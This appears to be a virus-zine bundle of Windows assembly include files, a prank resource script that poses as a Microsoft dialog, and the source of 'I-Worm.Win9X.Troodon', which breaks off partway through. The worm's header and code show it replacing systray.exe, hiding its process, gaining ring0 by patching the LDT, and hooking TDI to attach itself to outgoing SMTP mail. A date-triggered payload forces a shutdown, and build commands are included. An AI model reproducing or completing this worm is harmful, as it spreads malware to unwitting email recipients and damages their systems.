DLGC_HASSETSEL = 0008h ; /* Understands EM_SETSEL message */
DLGC_DEFPUSHBUTTON = 0010h ; /* Default pushbutton */
DLGC_UNDEFPUSHBUTTON= 0020h ; /* Non-default pushbutton */
DLGC_RADIOBUTTON = 0040h ; /* Radio button */
DLGC_WANTCHARS = 0080h ; /* Want WM_CHAR messages */
DLGC_STATIC = 0100h ; /* Static item: don't include */
DLGC_BUTTON = 2000h ; /* Button item: can be checked */

; Combo Box return Values


CB_OKAY = 0
CB_ERR = (-1)
CB_ERRSPACE = (-2)

; Combo Box Notification Codes


CBN_ERRSPACE = (-1)
CBN_SELCHANGE = 1
CBN_DBLCLK = 2
CBN_SETFOCUS = 3
CBN_KILLFOCUS = 4
CBN_EDITCHANGE = 5
CBN_EDITUPDATE = 6
CBN_DROPDOWN = 7

; Combo Box styles (low words)


CBS_SIMPLE = 0001h
CBS_DROPDOWN = 0002h
CBS_DROPDOWNLIST = 0003h
CBS_OWNERDRAWFIXED = 0010h
CBS_OWNERDRAWVARIABLE= 0020h
CBS_AUTOHSCROLL = 0040h
CBS_OEMCONVERT = 0080h
CBS_SORT = 0100h
CBS_HASSTRINGS = 0200h
CBS_NOINTEGRALHEIGHT = 0400h

IFNDEF NOWINMESSAGES

; Combo Box messages


CB_GETEDITSEL = (WM_USER+0)
CB_LIMITTEXT = (WM_USER+1)
CB_SETEDITSEL = (WM_USER+2)
CB_ADDSTRING = (WM_USER+3)
CB_DELETESTRING = (WM_USER+4)
CB_DIR = (WM_USER+5)
CB_GETCOUNT = (WM_USER+6)
CB_GETCURSEL = (WM_USER+7)
CB_GETLBTEXT = (WM_USER+8)
CB_GETLBTEXTLEN = (WM_USER+9)
CB_INSERTSTRING = (WM_USER+10)
CB_RESETCONTENT = (WM_USER+11)
CB_FINDSTRING = (WM_USER+12)
CB_SELECTSTRING = (WM_USER+13)
CB_SETCURSEL = (WM_USER+14)
CB_SHOWDROPDOWN = (WM_USER+15)
CB_GETITEMDATA = (WM_USER+16)
CB_SETITEMDATA = (WM_USER+17)
IFNDEF NOWIN31
CB_GETDROPPEDCONTROLRECT = (WM_USER+18)
CB_SETITEMHEIGHT = (WM_USER+19)
CB_GETITEMHEIGHT = (WM_USER+20)
CB_SETEXTENDEDUI = (WM_USER+21)
CB_GETEXTENDEDUI = (WM_USER+22)
CB_GETDROPPEDSTATE = (WM_USER+23)
CB_FINDSTRINGEXACT = (WM_USER+24)
ENDIF

ENDIF ; NOWINMESSAGES

; Static Control styles (low word)


SS_LEFT = 00h
SS_CENTER = 01h
SS_RIGHT = 02h
SS_ICON = 03h
SS_BLACKRECT = 04h
SS_GRAYRECT = 05h
SS_WHITERECT = 06h
SS_BLACKFRAME = 07h
SS_GRAYFRAME = 08h
SS_WHITEFRAME = 09h
SS_SIMPLE = 0Bh
SS_LEFTNOWORDWRAP = 0Ch
SS_NOPREFIX = 80h ; Don't do "&" character translation

IFNDEF NOWIN31
IFNDEF NOWINMESSAGES

;Static Control Messages


STM_SETICON = (WM_USER+0)
STM_GETICON = (WM_USER+1)
ENDIF
ENDIF

; Scroll Bar Styles (low word)


SBS_HORZ = 0000h
SBS_VERT = 0001h
SBS_TOPALIGN = 0002h
SBS_LEFTALIGN = 0002h
SBS_BOTTOMALIGN = 0004h
SBS_RIGHTALIGN = 0004h
SBS_SIZEBOXTOPLEFTALIGN = 0002h
SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h
SBS_SIZEBOX = 0008h

IFNDEF NOSYSMETRICS

; GetSystemMetrics() codes
SM_CXSCREEN = 0
SM_CYSCREEN = 1
SM_CXVSCROLL = 2
SM_CYHSCROLL = 3
SM_CYCAPTION = 4
SM_CXBORDER = 5
SM_CYBORDER = 6
SM_CXDLGFRAME = 7
SM_CYDLGFRAME = 8
SM_CYVTHUMB = 9
SM_CXHTHUMB = 10
SM_CXICON = 11
SM_CYICON = 12
SM_CXCURSOR = 13
SM_CYCURSOR = 14
SM_CYMENU = 15
SM_CXFULLSCREEN = 16
SM_CYFULLSCREEN = 17
SM_CYKANJIWINDOW = 18
SM_MOUSEPRESENT = 19
SM_CYVSCROLL = 20
SM_CXHSCROLL = 21
SM_DEBUG = 22
SM_SWAPBUTTON = 23
SM_RESERVED1 = 24
SM_RESERVED2 = 25
SM_RESERVED3 = 26
SM_RESERVED4 = 27
SM_CXMIN = 28
SM_CYMIN = 29
SM_CXSIZE = 30
SM_CYSIZE = 31
SM_CXFRAME = 32
SM_CYFRAME = 33
SM_CXMINTRACK = 34
SM_CYMINTRACK = 35
IFNDEF NOWIN31
SM_CXDOUBLECLK = 36
SM_CYDOUBLECLK = 37
SM_CXICONSPACING = 38
SM_CYICONSPACING = 39
SM_MENUDROPALIGNMENT = 40
SM_PENWINDOWS = 41
SM_DBCSENABLED = 42
ENDIF
SM_CMETRICSMAX = 43

ENDIF ;NOSYSMETRICS

IFNDEF NOCOLOR

COLOR_SCROLLBAR = 0
COLOR_BACKGROUND = 1
COLOR_ACTIVECAPTION = 2
COLOR_INACTIVECAPTION = 3
COLOR_MENU = 4
COLOR_WINDOW = 5
COLOR_WINDOWFRAME = 6
COLOR_MENUTEXT = 7
COLOR_WINDOWTEXT = 8
COLOR_CAPTIONTEXT = 9
COLOR_ACTIVEBORDER = 10
COLOR_INACTIVEBORDER = 11
COLOR_APPWORKSPACE = 12
COLOR_HIGHLIGHT = 13
COLOR_HIGHLIGHTTEXT = 14
COLOR_BTNFACE = 15
COLOR_BTNSHADOW = 16
COLOR_GRAYTEXT = 17
COLOR_BTNTEXT = 18
IFNDEF NOWIN31
COLOR_INACTIVECAPTIONTEXT = 19
COLOR_BTNHILIGHT = 20
ENDIF
ENDIF ;NOCOLOR

; Commands to pass WinHelp()


HELP_CONTEXT =0001h ;/* Display topic in ulTopic */
HELP_QUIT =0002h ;/* Terminate help */
HELP_INDEX =0003h ;/* Display index */
HELP_HELPONHELP =0004h ;/* Display help on using help */
HELP_SETINDEX =0005h ;/* Set the current Index for multi index help */
HELP_KEY =0101h ;/* Display topic for keyword in offabData */

IFNDEF NOCOMM

NOPARITY = 0
ODDPARITY = 1
EVENPARITY = 2
MARKPARITY = 3
SPACEPARITY = 4

ONESTOPBIT = 0
ONE5STOPBITS = 1
TWOSTOPBITS = 2

IGNORE = 0 ; /* Ignore signal */


INFINITE = 0FFFFh ; /* Infinite timeout */

; Error Flags
CE_RXOVER = 0001h ; /* Receive Queue overflow */
CE_OVERRUN = 0002h ; /* Receive Overrun Error */
CE_RXPARITY = 0004h ; /* Receive Parity Error */
CE_FRAME = 0008h ; /* Receive Framing error */
CE_BREAK = 0010h ; /* Break Detected */
CE_CTSTO = 0020h ; /* CTS Timeout */
CE_DSRTO = 0040h ; /* DSR Timeout */
CE_RLSDTO = 0080h ; /* RLSD Timeout */
CE_TXFULL = 0100h ; /* TX Queue is full */
CE_PTO = 0200h ; /* LPTx Timeout */
CE_IOE = 0400h ; /* LPTx I/O Error */
CE_DNS = 0800h ; /* LPTx Device not selected */
CE_OOP = 1000h ; /* LPTx Out-Of-Paper */
CE_MODE = 8000h ; /* Requested mode unsupported */

IE_BADID = (-1) ; /* Invalid or unsupported id */


IE_OPEN = (-2) ; /* Device Already Open */
IE_NOPEN = (-3) ; /* Device Not Open */
IE_MEMORY = (-4) ; /* Unable to allocate queues */
IE_DEFAULT = (-5) ; /* Error in default parameters */
IE_HARDWARE = (-10) ; /* Hardware Not Present */
IE_BYTESIZE = (-11) ; /* Illegal Byte Size */
IE_BAUDRATE = (-12) ; /* Unsupported BaudRate */

; Events
EV_RXCHAR = 0001h ; /* Any Character received */
EV_RXFLAG = 0002h ; /* Received certain character */
EV_TXEMPTY = 0004h ; /* Transmitt Queue Empty */
EV_CTS = 0008h ; /* CTS changed state */
EV_DSR = 0010h ; /* DSR changed state */
EV_RLSD = 0020h ; /* RLSD changed state */
EV_BREAK = 0040h ; /* BREAK received */
EV_ERR = 0080h ; /* Line status error occurred */
EV_RING = 0100h ; /* Ring signal detected */
EV_PERR = 0200h ; /* Printer error occured */
EV_CTSS = 0400h ; /* CTS state */
EV_DSRS = 0800h ; /* DSR state */
EV_RLSDS = 1000h ; /* RLSD state */
EV_RingTe = 2000h ; /* Ring Trailing Edge Indicator */
; Escape Functions
SETXOFF = 1 ; /* Simulate XOFF received */
SETXON = 2 ; /* Simulate XON received */
SETRTS = 3 ; /* Set RTS high */
CLRRTS = 4 ; /* Set RTS low */
SETDTR = 5 ; /* Set DTR high */
CLRDTR = 6 ; /* Set DTR low */
RESETDEV = 7 ; /* Reset device if possible */

LPTx = 80h ; /* Set if ID is for LPT device */

IFNDEF NOWIN31
; new escape functions
GETMAXLPT equ 8 ; Max supported LPT id
GETMAXCOM equ 9 ; Max supported COM id
GETBASEIRQ equ 10 ; Get port base & irq for a port

; Comm Baud Rate indices


CBR_110 equ 0FF10h
CBR_300 equ 0FF11h
CBR_600 equ 0FF12h
CBR_1200 equ 0FF13h
CBR_2400 equ 0FF14h
CBR_4800 equ 0FF15h
CBR_9600 equ 0FF16h
CBR_14400 equ 0FF17h
CBR_19200 equ 0FF18h
; 0FF19h (reserved)
; 0FF1Ah (reserved)
CBR_38400 equ 0FF1Bh
; 0FF1Ch (reserved)
; 0FF1Dh (reserved)
; 0FF1Eh (reserved)
CBR_56000 equ 0FF1Fh
; 0FF20h (reserved)
; 0FF21h (reserved)
; 0FF22h (reserved)
CBR_128000 equ 0FF23h
; 0FF24h (reserved)
; 0FF25h (reserved)
; 0FF26h (reserved)
CBR_256000 equ 0FF27h

; notifications passed in low word of lParam on WM_COMMNOTIFY messages


CN_RECEIVE equ 1 ; bytes are available in the input queue
CN_TRANSMIT equ 2 ; fewer than wOutTrigger bytes still
; remain in the output queue waiting
; to be transmitted.
CN_EVENT equ 4 ; an enabled event has occurred

ENDIF

DCB struc
DCB_Id db ? ; /* Internal Device ID */
DCB_BaudRate dw ? ; /* Baudrate at which runing */
DCB_ByteSize db ? ; /* Number of bits/byte, 4-8 */
DCB_Parity db ? ; /* 0-4=None,Odd,Even,Mark,Space */
DCB_StopBits db ? ; /* 0,1,2 = 1, 1.5, 2 */
DCB_RlsTimeout dw ? ; /* Timeout for RLSD to be set */
DCB_CtsTimeout dw ? ; /* Timeout for CTS to be set */
DCB_DsrTimeout dw ? ; /* Timeout for DSR to be set */
DCB_BitMask1 db ?

; BYTE fBinary: 1; /* Binary Mode (skip EOF check */


; BYTE fRtsDisable:1; /* Don't assert RTS at init time */
; BYTE fParity: 1; /* Enable parity checking */
; BYTE fOutxCtsFlow:1; /* CTS handshaking on output */
; BYTE fOutxDsrFlow:1; /* DSR handshaking on output */
; BYTE fDummy: 2; /* Reserved */
; BYTE fDtrDisable:1; /* Don't assert DTR at init time */

DCB_BitMask2 db ?

; BYTE fOutX: 1; /* Enable output X-ON/X-OFF */


; BYTE fInX: 1; /* Enable input X-ON/X-OFF */
; BYTE fPeChar: 1; /* Enable Parity Err Replacement */
; BYTE fNull: 1; /* Enable Null stripping */
; BYTE fChEvt: 1; /* Enable Rx character event. */
; BYTE fDtrflow: 1; /* DTR handshake on input */
; BYTE fRtsflow: 1; /* RTS handshake on input */
; BYTE fDummy2: 1;

DCB_XonChar db ? ; /* Tx and Rx X-ON character */


DCB_XoffChar db ? ; /* Tx and Rx X-OFF character */
DCB_XonLim dw ? ; /* Transmit X-ON threshold */
DCB_XoffLim dw ? ; /* Transmit X-OFF threshold */
DCB_PeChar db ? ; /* Parity error replacement char */
DCB_EofChar db ? ; /* End of Input character */
DCB_EvtChar db ? ; /* Recieved Event character */
DCB_TxDelay dw ? ; /* Amount of time between chars */
DCB ends

COMSTAT struc
COMS_BitMask1 db ?

; BYTE fCtsHold: 1; /* Transmit is on CTS hold */


; BYTE fDsrHold: 1; /* Transmit is on DSR hold */
; BYTE fRlsdHold: 1; /* Transmit is on RLSD hold */
; BYTE fXoffHold: 1; /* Received handshake */
; BYTE fXoffSent: 1; /* Issued handshake */
; BYTE fEof: 1; /* End of file character found */
; BYTE fTxim: 1; /* Character being transmitted */

COMS_cbInQue dw ? ; /* count of characters in Rx Queue */


COMS_cbOutQue dw ? ; /* count of characters in Tx Queue */
COMSTAT ends

ENDIF ;NOCOM

;
; Installable Driver Support
;
; Driver Messages
DRV_LOAD = 0001h
DRV_ENABLE = 0002h
DRV_OPEN = 0003h
DRV_CLOSE = 0004h
DRV_DISABLE = 0005h
DRV_FREE = 0006h
DRV_CONFIGURE = 0007h
DRV_QUERYCONFIGURE = 0008h
DRV_INSTALL = 0009h
DRV_REMOVE = 000Ah
DRV_EXITSESSION = 000Bh
DRV_POWER = 000Fh
DRV_RESERVED = 0800h
DRV_USER = 4000h

;LPARAM of DRV_CONFIGURE message and return values


DRVCONFIGINFO struc
DRVCNF_dwDCISize dw ?
DRVCNF_lpszDCISectionName dd ?
DRVCNF_lpszDCIAliasName dd ?
DRVCONFIGINFO ends

DRVCNF_CANCEL = 0000h
DRVCNF_OK = 0001h
DRVCNF_RESTART = 0002h

IFNDEF NOKERNEL
;
; Common Kernel errors
;
ERR_GALLOC = 01030h ; GlobalAlloc Failed
ERR_GREALLOC = 01031h ; GlobalReAlloc Failed
ERR_GLOCK = 01032h ; GlobalLock Failed
ERR_LALLOC = 01033h ; LocalAlloc Failed
ERR_LREALLOC = 01034h ; LocalReAlloc Failed
ERR_LLOCK = 01035h ; LocalLock Failed
ERR_ALLOCRES = 01036h ; AllocResource Failed
ERR_LOCKRES = 01037h ; LockResource Failed
ERR_LOADMODULE = 01038h ; LoadModule failed

;
; Common User Errors
;
ERR_CREATEDLG = 01045h ; /* Create Dlg failure due to LoadMenu failure */
ERR_CREATEDLG2 = 01046h ; /* Create Dlg failure due to CreateWindow Failure */
ERR_REGISTERCLASS = 01047h ; /* RegisterClass failure due to Class already registered */
ERR_DCBUSY = 01048h ; /* DC Cache is full */
ERR_CREATEWND = 01049h ; /* Create Wnd failed due to class not found */
ERR_STRUCEXTRA = 01050h ; /* Unallocated Extra space is used */
ERR_LOADSTR = 01051h ; /* LoadString() failed */
ERR_LOADMENU = 01052h ; /* LoadMenu Failed */
ERR_NESTEDBEGINPAINT = 01053h ; /* Nested BeginPaint() calls */
ERR_BADINDEX = 01054h ; /* Bad index to Get/Set Class/Window Word/Long */
ERR_CREATEMENU = 01055h ; /* Error creating menu */

;
; Common GDI Errors
;
ERR_CREATEDC = 01070h ; /* CreateDC/CreateIC etc., failure */
ERR_CREATEMETA = 01071h ; /* CreateMetafile failure */
ERR_DELOBJSELECTED = 01072h ; /* Bitmap being deleted is selected into DC */
ERR_SELBITMAP = 01073h ; /* Bitmap being selected is already selected elsewhere */

ENDIF ;NOKERNEL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDOWS.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
;
; WSocks.inc: include file for windows sockets .
; Designed for TASM5 and Win32.
;
; (C) 1999 Bumblebee.
;
; This file contains basic structures and stuff to work
; with windows sockets.
;

; Descriptions of the API:


; arguments in order of PUSH ;)

; only for debug


extrn WSAGetLastError:PROC

; starts the use of winsock dll


; addr WSADATA, version requested
; returns: 0 ok
extrn WSAStartup:PROC

; terminates the use of winsock dll


; returns: SOCK_ERR on error
extrn WSACleanup:PROC

; opens a new socket


; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn socket:PROC

; closes a socket
; socket descriptor
;
extrn closesocket:PROC

; sends data (this socks are a shit... Unix uses simple write)
; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn send:PROC

; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn recv:PROC

; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn connect:PROC

; gets the name of the current host


; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn gethostname:PROC

; gets strcut hostent


; addr of name
; returns: ponter to the struct or 0 on error
extrn gethostbyname:PROC

; converts a zstring like "xxx.xxx.xx...." to netw byte order


; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn inet_addr:PROC

; dw to convert into netw byte order (usually the port)


; returns: the value in network byte order (dw)
extrn htons:PROC
; Structs :o

; sockaddr struct for connection


; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR struct
sin_family dw 0 ; ex. AF_INET
sin_port dw 0 ; use htons for this
sin_addr dd 0 ; here goes server node (from inet_addr)
sin_zero db 8 dup(0)
SOCKADDR ends

; for WSAStartup diagnose


WSADATA struct
mVersion dw 0
mHighVersion dw 0
szDescription db 257 dup(0)
szSystemStatus db 129 dup(0)
iMaxSockets dw 0
iMaxUpdDg dw 0
lpVendorInfo dd 0
WSADATA ends

; Some nice equs

; what version of winsock do you need? (usually 1.1)


VERSION1_0 equ 0100h
VERSION1_1 equ 0101h
VERSION2_0 equ 0200h

AF_UNIX equ 1 ; local host


AF_INET equ 2 ; internet (most used)
AF_IMPLINK equ 3 ; arpanet
AF_NETBIOS equ 17 ; NetBios style addresses

; types of sockets
SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)
SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)

; protocol
PCL_NONE equ 0 ; none (define the protocol not needed)

SOCKET_ERR equ -1 ; standard winsock error

HOSTENT_IP equ 10h ; where is the IP into the hostent struct


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.RC]ÄÄÄ
#define IDM_ABOUTBOX 0x0010
#define IDD_ABOUTBOX 100
#define IDS_ABOUTBOX 101
#define IDD_VKS_DIALOG_0 102
#define IDD_VKS_DIALOG_1 103
#define IDR_MAINFRAME 128
#define IDC_CHECK1 1000
#define IDC_CHECK2 1001
#define IDC_EDIT3 1003
#define IDC_SPIN1 1018
#define IDC_COMBO1 1004
#define IDC_EDIT1 1005
#define IDC_CHECK3 1006
#define IDC_CHECK4 1007
#define IDC_EDIT2 1008
#define IDC_BUTTON1 1009
#define IDC_BUTTON2 1014
#define IDC_CHECK5 1010
#define IDC_RADIO1 1012
#define IDC_RADIO2 1013
#define IDC_STATIC 1015
#define IDC_STATIC2 1016

11 ICON "icecubes.ico"

IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20


STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE |
WS_CAPTION | WS_SYSMENU
CAPTION "Scanning system for Microsoft Windows Icecubes..."
FONT 8, "Verdana"
BEGIN
CONTROL "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11
END

IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252


STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_APPWINDOW
CAPTION "Microsoft Windows Icecubes"
FONT 8, "MS Sans Serif"
BEGIN

LTEXT "Manufacturer's default settings (not to be edited)",


IDC_STATIC,13,8,200,8

GROUPBOX "Endurance options",IDC_STATIC,7,23,218,53


CONTROL "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,15,36,50,10
CONTROL "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,15,54,50,10

EDITTEXT IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL
CONTROL "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,
8,12

COMBOBOX IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT |


WS_VSCROLL | WS_TABSTOP

EDITTEXT IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL
LTEXT "bytes of un-saved changes",IDC_STATIC,130,55,94,13

GROUPBOX "Save options",IDC_STATIC,7,81,218,69


CONTROL "Create incredibly large files",IDC_CHECK3,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10
CONTROL "Allow me to carry on typing during AutoRecovery saves",
IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,
195,10
LTEXT "Fail AutoRecovery at",IDC_STATIC,25,130,120,13
LTEXT "percent",IDC_STATIC2,125,130,50,13

EDITTEXT IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL

GROUPBOX "Other options",IDC_STATIC,7,157,218,70


CONTROL "Decrease boot speed by 70%",IDC_CHECK5,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14
CONTROL "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,
198,48,10
CONTROL "when I least expect it",IDC_RADIO2,"Button",
BS_AUTORADIOBUTTON,35,210,83,10
LTEXT "Annoy me with that sodding paperclip",IDC_STATIC,25,186,
136,10

PUSHBUTTON "Cancel",IDC_BUTTON1,122,233,50,12
DEFPUSHBUTTON "Ok",IDC_BUTTON2,64,233,50,12

END
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.RC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TROODON.ASM]ÄÄÄ
; I-Worm.Win9X.Troodon Project
;-----------------------------------------
; Technical details:
; This is an Win95/98 specific Internet-Worm, witch spreads trough e-mail.
; When executed it does more things in ring3 and ring0 too.
; - ring3 actions -
; - it looks very similar with a normal Windows application witch has a window etc.
; So it has a window and a message loop. This is needed by the payload witch will
activate
; on a specific date (check code). When payload is triggered the foreground window on
the desktop
; will start bounce arround on the screen, for 30 seconds then Windows will shutdown.
; This is the payload part, it will activate only if it is running under the name
"systray.exe"
; - when starting it checks if already installed in the system: checks if it's name is
"systray.exe".
; If not, then it copies itself in System directory under the name "systray.me", by
using wininit.ini
; systray.exe will be replaced by systray.me on next startup, and original systray.exe
will be saved
; in systray.sys.
; If the name isn't systray.exe then it will show a message to fool the user all is ok.
; If the name is systray.exe then it will run the saved systray.sys using WinExec and
it will assume
; that it is already installed in the system.
; - it will encoded current process'es file in base64 and save it in memory allocated
with VirtualAlloc
; - it will check for signature in memory at 0xC000E990
; If not in memory then it will jump into ring0 by using a callgate method described
by Zombie,
; by patching LDT table.
;
; - ring0 actions -
; - it allocates memory in ring0 for it's own code and for encoded file.
; - it copies itself and the encoded file in there (after jumping back into ring3 the
memory used for
; encoded file will be free.
; - it will hook TdiConnect, TdiSend, TdiCloseConnection, TdiDisconnect for it's own
use.
; - it will monitor all outgoing connections checking for SMTP (port 25) connections.
; - when it find one it will wait for DATA command for SMTP server
; - then it will check the content of the e-mail, if it is a MIME formated e-mail
containing
; text/plain or text/html or both it will modify the message attaching it's own code
(encoded in base64)
; to the mail.
;
; It has it's own string routines.
; Things I didn't do in this version are: doesn't attach to mails that already have
attachements, and to mails
; with no MIME content.
;
;
; This is done using NASM syntax.
; Compilation and linking:
; NASMW -f win32 v.asm
; GORC /r vres.rc
; ALINK -entry start -oPE v.obj vres.res kernel32.lib user32.lib gdi32.lib

extern ExitProcess
extern RegisterServiceProcess
extern GetModuleHandleA
extern GetModuleFileNameA
extern CopyFileA
extern DeleteFileA
extern WritePrivateProfileStringA
extern WinExec
extern VirtualAlloc
extern VirtualFree
extern CreateFileA
extern GetFileSize
extern CloseHandle
extern CreateFileMappingA
extern MapViewOfFile
extern UnmapViewOfFile
extern MessageBoxA
extern GetForegroundWindow
extern GetWindowRect
extern MoveWindow
extern RegisterClassA
extern CreateWindowExA
extern ShowWindow
extern UpdateWindow
extern GetMessageA
extern TranslateMessage
extern DispatchMessageA
extern PostQuitMessage
extern DefWindowProcA
extern SetTimer
extern GetLocalTime
extern ExitWindowsEx
extern GetSystemDirectoryA
extern lstrcatA

%include "win32n.inc"
%include "vxdn.inc"

@@VTDI_Get_Version equ 004880000h


@@VTDI_Get_Info equ 004880008h
ID_TIMER1 equ 100
ID_TIMER2 equ 101
step equ 2

global start

[bits 32]
[section .text]

start:
%define ebp_hInstance ebp+8 ; handle of current instance
%define ebp_hPrevInstance ebp+0ch ; handle of previous instance
%define ebp_lpszCmdLine ebp+10h ; pointer to command line
%define ebp_nCmdShow ebp+14h ; show state of window

push ebp
mov ebp,esp

; hide the process even if it stay just a bit in memory,


; just to be sure that no quick eye see it
push dword 1
push dword 0
call RegisterServiceProcess
; get module handle
push dword 0
call GetModuleHandleA

; get module file name


push dword [path_len]
push dword my_path
push eax
call GetModuleFileNameA

; make paths; %SYSDIR% + filenames


call make_paths

; Register Window Class


mov eax, [ebp_hInstance]
mov [WindowClassStruc+WNDCLASS.hInstance], eax
mov dword [WindowClassStruc+WNDCLASS.hIcon], 0
mov dword [WindowClassStruc+WNDCLASS.hCursor], 0

push dword WindowClassStruc


call RegisterClassA

test eax,eax
jnz .Success

.Fail: jmp FareWell

.Success:

MakeWindow: ; create the window


push dword 0
push dword [ebp_hInstance]
push dword 0
push dword 0
push dword 200
push dword 200
push dword 10
push dword 10
push dword WS_OVERLAPPEDWINDOW
push dword WindowTitle
push dword ClassName
push dword WS_EX_OVERLAPPEDWINDOW
call CreateWindowExA

test eax,eax
jnz .Success

.Fail: jmp FareWell

.Success: mov [WindowHandle], eax


push dword SW_HIDE
push dword [WindowHandle]
call ShowWindow

push eax
call UpdateWindow

MsgLoop: ; the message loop


push dword 0
push dword 0
push dword 0
push dword WindowMSG
call GetMessageA
or eax,eax
jz FareWell

push dword WindowMSG


call TranslateMessage

push dword WindowMSG


call DispatchMessageA

jmp MsgLoop

FareWell: push dword 0


call ExitProcess

WndProc:
%define ebp_hWnd ebp+8 ; handle of window
%define ebp_Msg ebp+0ch ; message
%define ebp_wParam ebp+10h ; first message parameter
%define ebp_lParam ebp+14h ; second message parameter
%define ebp_DC ebp-4

push ebp
mov ebp,esp

cmp dword [ebp_Msg], WM_CREATE


jz Create_Handler
cmp dword [ebp_Msg], WM_TIMER
jnz .next_2
jmp Timer_Handle
.next_2: cmp dword [ebp_Msg], WM_DESTROY
jnz .next_1
jmp Destroy_Handler
.next_1:

.DefMsgHandler:
push dword [ebp_lParam]
push dword [ebp_wParam]
push dword [ebp_Msg]
push dword [ebp_hWnd]
call DefWindowProcA

.Exit: mov esp,ebp


pop ebp
ret 0x0C

Create_Handler:
; check if the name of the file is "systray.exe"
call check_systray

; THIS is the call the installs the i-worm "engine" in memory


call iworm

push dword STime


call GetLocalTime

cmp byte [systray_ornot], 1 ; "myself" is systray.exe


je .next_1

; Get out
push dword 0
call ExitProcess
.next_1: ; next is for payload
cmp word [STime+SYSTEMTIME.wDayOfWeek], 6
jne .exit

push dword 0
push dword 1
push dword ID_TIMER1
push dword [ebp_hWnd]
call SetTimer

push dword 0
push dword 300000
push dword ID_TIMER2
push dword [ebp_hWnd]
call SetTimer

.exit: jmp WndProc.Exit

Timer_Handle:
; this is for payload again
cmp dword [ebp_wParam], ID_TIMER1
jnz .next_1
jmp .timer_1
.next_1: cmp dword [ebp_wParam], ID_TIMER2
jnz .next_2
jmp .timer_2
.next_2: jmp WndProc.Exit

.timer_1: ; get forground window


call GetForegroundWindow
mov dword [hWnd], eax

; "Restore" window
push dword SW_RESTORE
push eax
call ShowWindow

; get window position and size


push dword rect
push dword [hWnd]
call GetWindowRect

; move it
push dword 1
mov eax, [rect+RECT.bottom]
sub eax, [rect+RECT.top]
push eax
mov eax, [rect+RECT.right]
sub eax, [rect+RECT.left]
push eax
mov eax, [rect+RECT.top]
add eax, [y]
push eax
mov eax, [rect+RECT.left]
add eax, [x]
push eax
push dword [hWnd]
call MoveWindow

mov eax, [rect+RECT.right]


cmp eax, 1014
jg .dec_x
mov eax, [rect+RECT.left]
cmp eax, 10
jb .inc_x
jmp .done_x
.dec_x: mov dword [x], -step
jmp .done_x
.inc_x: mov dword [x], step
.done_x:

mov eax, [rect+RECT.bottom]


cmp eax, 758
jg .dec_y
mov eax, [rect+RECT.top]
cmp eax, 10
jb .inc_y
jmp .done_y
.dec_y: mov dword [y], -step
jmp .done_y
.inc_y: mov dword [y], step
.done_y: jmp WndProc.Exit

.timer_2: push dword 0


push dword EWX_SHUTDOWN
call ExitWindowsEx

jmp WndProc.Exit

Destroy_Handler:
push dword 0
call PostQuitMessage
jmp WndProc.Exit

jmp WndProc.DefMsgHandler

;------------------------------------------------------------
; Here starts the part witch makes this an I-Worm
;------------------------------------------------------------
iworm: pushad

; encode in base64 the file


mov esi, my_path
call encode

cmp byte [systray_ornot], 1


